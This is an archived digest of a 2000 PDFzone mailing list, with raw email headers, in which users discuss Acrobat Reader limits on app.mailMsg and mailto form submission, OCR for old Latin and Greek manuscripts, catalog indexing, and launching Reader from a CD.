---------------------------------------------------------------------------- 29-Dec-2000 14:12:57-GMT,5350;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA22193 for ; Fri, 29 Dec 2000 07:12:56 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA31970; Fri, 29 Dec 2000 07:52:04 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 07:42:15 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA31410; Fri, 29 Dec 2000 07:42:13 -0600 Received: from velociraptor.pit-magnus.com (mail.pit-magnus.com [206.139.208.13]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id HAA31406 for ; Fri, 29 Dec 2000 07:42:12 -0600 Received: from mail.pit-magnus.com by velociraptor.pit-magnus.com via smtpd (for everglades.binc.net [208.155.48.8]) with SMTP; 29 Dec 2000 13:34:28 UT Received: from le1.pit-magnus.com ([192.168.5.1]) by mail.pit-magnus.com (8.9.1b+Sun/8.9.1) with SMTP id IAA25327 for ; Fri, 29 Dec 2000 08:46:45 -0500 (EST) Message-ID: <000801c0719c$d57ab700$0606a8ac@pitmagnus.com> From: ""Dan's Mail"" To: ""PDF Zone"" Received: from ACA80606.ipt.aol.com by le1.pit-magnus.com via smtpd (for mail.pit-magnus.com [192.168.5.3]) with SMTP; 29 Dec 2000 13:34:27 UT Subject: [PDF] Form Tool to Open email Date: Fri, 29 Dec 2000 08:39:57 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0005_01C07172.EC692CA0"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C07172.EC692CA0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hello, I'm trying to use the form tool to create an action that opens up an = email account which fills in the ""To"" line to the requested address. I = did manage to successfully make this happen using JavaScript = ""app.mailMsg(true,""name@address.com"");"". This actually did work when = testing on my hard drive, however, after burning a CD I got an error = message stating that ""App.mailMsg is not supported for this = configuration, including Reader Macintosh, and UNIX"". Also, I have the CD set up to Autorun, when I access the file from a = start menu, that is when I get the error message. However, when I open = up the file from the CD drive it opens the email message as desired. Any thoughts or suggestions would be greatly appreciated, thanks, Dan Murren New Media Development Specialist Progressive Information Technologies ------=_NextPart_000_0005_01C07172.EC692CA0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hello,       I'm trying = to use the=20 form tool to create an action that opens up an email account which fills = in the=20 ""To"" line to the requested address. I did manage to successfully make = this=20 happen using JavaScript ""app.mailMsg(true,""name@address.com"");"". = This=20 actually did work when testing on my hard drive, however, after burning = a CD I=20 got an error message stating that ""App.mailMsg is not supported for this = configuration, including Reader Macintosh, and = UNIX"".       Also, I have = the CD set=20 up to Autorun, when I access the file from a start menu, that is when I = get the=20 error message. However, when I open up the file from the CD drive it = opens the=20 email message as desired.       Any thoughts = or=20 suggestions would be greatly appreciated, thanks,       Dan Murren New Media Development=20 Specialist Progressive Information=20 Technologies   ------=_NextPart_000_0005_01C07172.EC692CA0-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 29-Dec-2000 17:43:36-GMT,2692;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA26344 for ; Fri, 29 Dec 2000 10:43:35 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA09180; Fri, 29 Dec 2000 11:31:52 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 11:26:00 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA08836; Fri, 29 Dec 2000 11:25:51 -0600 Received: from outbound.lightshipmail.net (outbound.lightshipmail.net [216.204.0.39]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id LAA08829 for ; Fri, 29 Dec 2000 11:25:48 -0600 Message-Id: <200012291725.LAA08829@everglades.binc.net> Received: (qmail 19368 invoked from network); 29 Dec 2000 17:20:41 -0000 Received: from minime.idpco.com (HELO dflaptop) (216.204.61.86) by outbound.lightshipmail.net with SMTP; 29 Dec 2000 17:20:41 -0000 Date: Fri, 29 Dec 2000 12:25:21 -0500 From: Dan Furbush Subject: [PDF] Old Latin & Greek Languages To: Mime-Version: 1.0 Organization: The IDP Companies, Inc. X-Mailer: GoldMine [4.00.9922] Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id LAA08830 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have both Latin and Greek manuscripts (very old) that I would like to convert to PDF but when I import the image into Exchange, it doesn't convert to any searchable text. I assume this is because it doesn't recognize the font or characters. Can anybody give me some guidance on how to convert these old manuscripts to PDF so that they are text-searchable? I also would like to create a Catalog for many manuscripts that is also searchable. If I use the Library of Congress catalog number as part of the keyword field, does that mean those keywords are also index searchable via catalog? Please provide as much insight as possible and thanks in advance. Dan Furbush Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 29-Dec-2000 19:05:07-GMT,2829;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA28098 for ; Fri, 29 Dec 2000 12:05:06 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA13191; Fri, 29 Dec 2000 12:46:41 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 12:40:46 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA12831; Fri, 29 Dec 2000 12:40:43 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA12819 for ; Fri, 29 Dec 2000 12:40:37 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id SAA16092 for ; Fri, 29 Dec 2000 18:40:42 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Form Tool to Open email Date: Fri, 29 Dec 2000 18:40:32 -0000 Message-ID: <001c01c071c6$d3ad7f00$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <000801c0719c$d57ab700$0606a8ac@pitmagnus.com> Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ (Please don't send HTML format mail to the list, thanks) > I'm trying to use the form tool to create an action that opens > up an email account which fills in the ""To"" line to the > requested address. I did manage to successfully make this happen > using JavaScript ""app.mailMsg(true,""name@address.com"");"". > This actually did work when testing on my hard drive, however, > after burning a CD I got an error message stating that > ""App.mailMsg is not supported for this configuration, including > Reader, Macintosh, and UNIX"". > Also, I have the CD set up to Autorun... For Autorun you will be using the free Reader, I'm sure. In this case the message is perfectly true - you cannot use this method in various configurations, including Reader. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 29-Dec-2000 19:06:53-GMT,2858;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA28127 for ; Fri, 29 Dec 2000 12:06:52 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA13265; Fri, 29 Dec 2000 12:47:50 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 12:42:46 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA12917; Fri, 29 Dec 2000 12:42:45 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA12912 for ; Fri, 29 Dec 2000 12:42:43 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id SAA16097 for ; Fri, 29 Dec 2000 18:42:47 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Old Latin & Greek Languages Date: Fri, 29 Dec 2000 18:42:37 -0000 Message-ID: <001d01c071c7$1e9e5f20$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <200012291725.LAA08829@everglades.binc.net> Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I have both Latin and Greek manuscripts (very old) that I > would like to convert to PDF but when I import the image into > Exchange, it doesn't convert to any searchable text. Importing to Exchange NEVER makes searchable text by itself. You would have to use Paper Capture. But Paper Capture will require clear, clean printing in a supported language. I've never heard of OCR for Latin or ancient Greek, and if they are handwritten, there is no chance at all. Well, you can retype. >I also > would like to create a Catalog for many manuscripts that is > also searchable. If I use the Library of Congress catalog > number as part of the keyword field, does that mean those > keywords are also index searchable via catalog? Yes, but the searcher must choose the ""Show fields"" option. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 29-Dec-2000 20:17:25-GMT,3953;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA29863 for ; Fri, 29 Dec 2000 13:17:24 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA16946; Fri, 29 Dec 2000 13:47:41 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 13:41:55 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id NAA16510; Fri, 29 Dec 2000 13:41:54 -0600 Received: from rm-rstar.sfu.ca (root@rm-rstar.sfu.ca [142.58.120.21]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA16506 for ; Fri, 29 Dec 2000 13:41:52 -0600 Received: from [142.58.46.235] (s35-annex8k5.dialin.sfu.ca [142.58.46.235]) by rm-rstar.sfu.ca (8.10.1/8.10.1/SFU-5.0H) with ESMTP id eBTJfoo08091; Fri, 29 Dec 2000 11:41:51 -0800 (PST) Mime-Version: 1.0 X-Sender: lmartin@popserver.sfu.ca Message-Id: In-Reply-To: <200012291725.LAA08829@everglades.binc.net> References: <200012291725.LAA08829@everglades.binc.net> Date: Fri, 29 Dec 2000 11:39:25 -0800 To: pdf@lists.pdfzone.com From: Lindsey Thomas Martin Subject: Re: [PDF] Old Latin & Greek Languages Cc: listreader2@quite.com Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Dear Mr Furbush, You wrote: >I have both Latin and Greek manuscripts (very old) that I would like >to convert to PDF etc. and Aandi Inston responded (correctly, as usual): >Importing to Exchange NEVER makes searchable text by itself. >You would have to use Paper Capture. But Paper Capture will >require clear, clean printing in a supported language. I've >never heard of OCR for Latin or ancient Greek, and if they >are handwritten, there is no chance at all. Are you, in fact, dealing with handwritten manuscripts (or facsimiles thereof) or printed renditions of manuscripts? If the latter, see the response to a question similar to yours from the list, LEXI. I suggest you subscribe to that list, where you will find scholars dealing with your problem. You might want to contact Prof. Kraft directly. Also try http://www.oasis-open.org/cover/tllHome.html or http://www.hnet.uci.edu/classics/ or http://www.hnet.uci.edu/classics/ or http://www.perseus.tufts.edu/classicsDept/resources.html If you are dealing with handwritten manuscripts, the problem is more difficult. Have the manuscripts been edited and published? That is, could you scan an image of the manuscript and the text for searching from a printed source? Lindsey Martin +++++++++++++++++++++++++++++++++++++++++ Reply-To: LEXI@UCI.EDU Sender: owner-LEXI@UCI.EDU From: kraft@ccat.sas.upenn.edu (Robert Kraft) To: LEXI@UCI.EDU Subject: Re: scan program for ancient Greek The best scanner facilities for classical Greek that were available some 15 years ago were the German MicroLogic system (called something like ""Optoram"") and the Kurzweil scanning system -- both of them trainable and capable of respectable results with clear fonts (yes, they could read the accents and other diacritical markings as well). I think they may both still be around, but I haven't been keeping up. Check for internet addresses? Bob Kraft, UPenn +++++++++++++++++++++++++++++++++++++++++++++++++ Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 29-Dec-2000 21:08:27-GMT,3370;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA01007 for ; Fri, 29 Dec 2000 14:08:26 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA21507; Fri, 29 Dec 2000 14:54:19 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 14:48:28 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA21203; Fri, 29 Dec 2000 14:48:27 -0600 Received: from raq.prodok.net (www.ewebcart.com [209.217.19.156] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA21196 for ; Fri, 29 Dec 2000 14:48:25 -0600 Received: from [192.168.0.7] (client74-136.hispeed.ch [62.2.74.136]) by raq.prodok.net (8.9.3/8.9.3) with ESMTP id VAA12716; Fri, 29 Dec 2000 21:47:43 +0100 Mime-Version: 1.0 X-Sender: max%prodok.com@mail7.burlee.com Message-Id: In-Reply-To: <000801c0719c$d57ab700$0606a8ac@pitmagnus.com> References: <000801c0719c$d57ab700$0606a8ac@pitmagnus.com> Date: Thu, 13 Jan 1938 01:35:59 +0100 To: pdf@lists.pdfzone.com From: Max Wyss Subject: Re: [PDF] Form Tool to Open email Cc: ""Dan's Mail"" Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Dan, The mailMsg() method works only in a full version Acrobat Viewer component, as you find it in the full Acrobat version, or the Business Tools. What you could do instead is use the getURL() method with the mailto: parameter. Also, it could be that your standard installation on the test machine is not complete, or up-to-date, whereas when you run Reader from the CD, you have an updated version. Hope, this can help. Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ > I'm trying to use the form tool to create an action that opens >up an email account which fills in the ""To"" line to the requested >address. I did manage to successfully make this happen using >JavaScript ""app.mailMsg(<>true,""name@address.com"");"". This actually >did work when testing on my hard drive, however, after burning a CD >I got an error message stating that ""App.mailMsg is not supported >for this configuration, including Reader Macintosh, and UNIX"". > > Also, I have the CD set up to Autorun, when I access the file >from a start menu, that is when I get the error message. However, >when I open up the file from the CD drive it opens the email message >as desired. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 29-Dec-2000 22:54:11-GMT,3231;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA03066 for ; Fri, 29 Dec 2000 15:54:10 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA26819; Fri, 29 Dec 2000 16:41:05 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 16:35:05 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA26422; Fri, 29 Dec 2000 16:35:03 -0600 Received: from prserv.net (out1.prserv.net [32.97.166.31]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA26416 for ; Fri, 29 Dec 2000 16:35:01 -0600 Received: from utm.com ([32.97.239.28]) by prserv.net (out1) with SMTP id <200012292234582010620ov2e>; Fri, 29 Dec 2000 22:35:00 +0000 Message-ID: <3A4D1253.9BEA8D8C@utm.com> Date: Fri, 29 Dec 2000 14:38:11 -0800 From: Jim Merante Organization: Utility Trailer Mfg. Co. X-Mailer: Mozilla 4.7 [en] (Win95; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: pdf@lists.pdfzone.com CC: Jim Doolittle Subject: [PDF] Acrobat Reader Doesn't Submit 'Mailto' in Netscape References: <001c01c071c6$d3ad7f00$510b83c1@gateway.quite.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Our Office uses Netscape Communicator Version 4.74 on a Windows 2000 server (approx. 17 thin clients). We have installed Acrobat Reader version 4.05b. We have created a Handbook that contains links to several PDF that have mailto FDF enabled. (To submit time off requests, time cards, etc...) However, when the handbook is opened in the acrobat reader (not in a browser) format, when the user clicks on the submit (mailto) button, the following message appears: ""You need to be running inside a web browser in order to submit this form"" So we have opened the pdf in the browser and when we click the submit, the status bar has a message, ""contacting host: [hostname]"" for about 3 seconds....and then nothing. best case solution: How do I get the PDF, when open in Acrobat Reader (not browser) to trigger the email message with the submit (mailto:) button. We'll take what we can get solution: We will open up the PDF in a browser and have the mailto trigger the email to open. Not ever going to happen solution: Installing the full Acrobat PDF creator on the Server. All suggestions are appreciated, Thank you and Happy New Year, -- Jim Merante Utility Trailer Mfg. Dealer Information Systems Administrator 626-854-7341 jmerante@utm.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 29-Dec-2000 23:14:54-GMT,4257;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA03465 for ; Fri, 29 Dec 2000 16:14:53 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA27427; Fri, 29 Dec 2000 16:50:06 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 16:44:54 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA26984; Fri, 29 Dec 2000 16:44:53 -0600 Received: from brookes.ac.uk (csmail.brookes.ac.uk [161.73.1.1]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA26979 for ; Fri, 29 Dec 2000 16:44:51 -0600 Received: from [195.102.204.13] (p108.nas1.is7.u-net.net [195.102.204.108]) by brookes.ac.uk (8.11.1/8.11.1) with SMTP id eBTMinB28516 for ; Fri, 29 Dec 2000 22:44:49 GMT Mime-Version: 1.0 X-Sender: p0071549@csmail.brookes.ac.uk Message-Id: In-Reply-To: <200012270817.CAA17176@everglades.binc.net> References: <200012270817.CAA17176@everglades.binc.net> Date: Fri, 29 Dec 2000 22:42:47 +0000 To: pdf@lists.pdfzone.com From: Chris Jennings Subject: RE: [PDF] PDF/Acrobat on CD for PC Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Let me tell you how I solved this one: I use Macromedia Director to create a small (320x240 pixels) application to call the appropriate PDF and Acrobat. Actually, in my case. the application also allows for selection of full screen or Acrobat control versions of the same PDFs. I successfully create MAC and PC versions of the Director projectors. There are some other issues. You must have licenses for Director for PC and MAC (expensive) and you must make sure that you close the Director projector after opening Acrobat (memory). There are Director Xtras which give you more control but I haven't use these myself. >Date: Tue, 26 Dec 2000 11:02:17 -0000 >From: ""Aandi Inston"" >Subject: RE: [PDF] PDF/Acrobat on CD for PC > >The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com >__________________________________________________________________ > > >> The problem is that we don't want anything to be installed on any >> computer. We need to be able to create CD's that contain the >> PDF(s) and >> Reader. The idea is for the user to double-click the PDF and >> have Reader >> run right off the CD. > >Well, this is a big problem, because you can't do that on >Windows, as I think I might previously have said. You must >revise your expectations for this project, or stick to Macs >where it is possible. > >You can have Reader on the CDROM. >You can have Reader start and read a PDF. > >You cannot control what happens when double clicking files >in Windows Explorer EXCEPT by installing software to Windows. >That is how Windows works. > >Aandi > >Receive the latest PDF News in your Inbox. > >- ---------------------------------------------------------------------------- > >------------------------------ > -- <>--------------------------------------------------------<> | Chris Jennings | | Senior Lecturer in Electronic Media at: | | Oxford Brookes University in the UK | | voice (44) 1865 484972 | | E-Mail cjjennings@brookes.ac.uk | <>--------------------------------------------------------<> Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 29-Dec-2000 23:34:56-GMT,3840;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA03860 for ; Fri, 29 Dec 2000 16:34:55 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA29103; Fri, 29 Dec 2000 17:17:07 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 17:11:48 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id RAA28827; Fri, 29 Dec 2000 17:11:46 -0600 Received: from raq.prodok.net (www.ewebcart.com [209.217.19.156] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA28823 for ; Fri, 29 Dec 2000 17:11:45 -0600 Received: from [192.168.0.7] (client74-136.hispeed.ch [62.2.74.136]) by raq.prodok.net (8.9.3/8.9.3) with ESMTP id AAA18936; Sat, 30 Dec 2000 00:11:38 +0100 Mime-Version: 1.0 X-Sender: max%prodok.com@mail7.burlee.com Message-Id: In-Reply-To: <3A4D1253.9BEA8D8C@utm.com> References: <001c01c071c6$d3ad7f00$510b83c1@gateway.quite.com> <3A4D1253.9BEA8D8C@utm.com> Date: Sat, 30 Dec 2000 00:11:03 +0100 To: pdf@lists.pdfzone.com From: Max Wyss Subject: Re: [PDF] Acrobat Reader Doesn't Submit 'Mailto' in Netscape Cc: Jim Merante Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Jim, This is indeed true; with Reader, the submit function works only when Reader runs under a browser. However, you could use the getURL() JavaScript method with the mailto: parameter instead. This will open the browser _ besides_ Acrobat (Reader), which will then open the mail client which has been specified in the browser. Depending on the parameters your mail client can handle, you can pass more than just the To value. Hope, this can help. Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ >Our Office uses Netscape Communicator Version 4.74 on a >Windows 2000 server (approx. 17 thin clients). We have >installed Acrobat Reader version 4.05b. > >We have created a Handbook that contains links to >several PDF that have mailto FDF enabled. (To submit >time off requests, time cards, etc...) However, when >the handbook is opened in the acrobat reader (not in a >browser) format, when the user clicks on the submit >(mailto) button, the following message appears: > >""You need to be running inside a web browser in order >to submit this form"" > >So we have opened the pdf in the browser and when we >click the submit, the status bar has a message, >""contacting host: [hostname]"" for about 3 >seconds....and then nothing. > >best case solution: How do I get the PDF, when open in >Acrobat Reader (not browser) to trigger the email >message with the submit (mailto:) button. > >We'll take what we can get solution: We will open up >the PDF in a browser and have the mailto trigger the >email to open. > >Not ever going to happen solution: Installing the full >Acrobat PDF creator on the Server. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 30-Dec-2000 0:34:03-GMT,2135;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id RAA05260 for ; Fri, 29 Dec 2000 17:34:02 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA31913; Fri, 29 Dec 2000 18:20:25 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 29 Dec 2000 18:14:47 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id SAA31560; Fri, 29 Dec 2000 18:14:45 -0600 Received: from smtp.wanadoo.es (m1smtpisp01.wanadoo.es [62.36.220.61] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA31556 for ; Fri, 29 Dec 2000 18:14:43 -0600 Received: from terra (usuario3-36-11-233.dialup.uni2.es [62.36.11.233]) by smtp.wanadoo.es (8.10.2/8.10.2) with SMTP id eBU0ELw12724 for ; Sat, 30 Dec 2000 01:14:27 +0100 (MET) Message-ID: <003d01c071f5$03580440$6a28fea9@terra.es> From: ""La Oficina Sin Papel"" To: References: <200012291725.LAA08829@everglades.binc.net> Subject: RE: [PDF] Old Latin & Greek Languages Date: Sat, 30 Dec 2000 01:10:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Dan, you might want to have a look to www.octavo.com Carlos Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 30-Dec-2000 8:14:23-GMT,2280;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id BAA13509 for ; Sat, 30 Dec 2000 01:14:21 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id BAA20194; Sat, 30 Dec 2000 01:55:12 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 30 Dec 2000 01:48:39 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id BAA19890; Sat, 30 Dec 2000 01:48:38 -0600 Received: from bird2.de.uu.net (bird2.de.uu.net [193.101.111.28]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id BAA19886 for ; Sat, 30 Dec 2000 01:48:36 -0600 Received: from schuitz.com (pec-120-175.tnt10.me2.uunet.de [149.225.120.175]) by bird2.de.uu.net (5.5.5/5.5.5) with ESMTP id IAA05444 for ; Sat, 30 Dec 2000 08:48:34 +0100 (MET) Message-ID: <3A4D9349.11D571F7@schuitz.com> Date: Sat, 30 Dec 2000 08:48:26 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.75 [de]C-CCK-MCD DT (Win95; U) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Adobe Catalog: Searching item numbers with spaces Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit 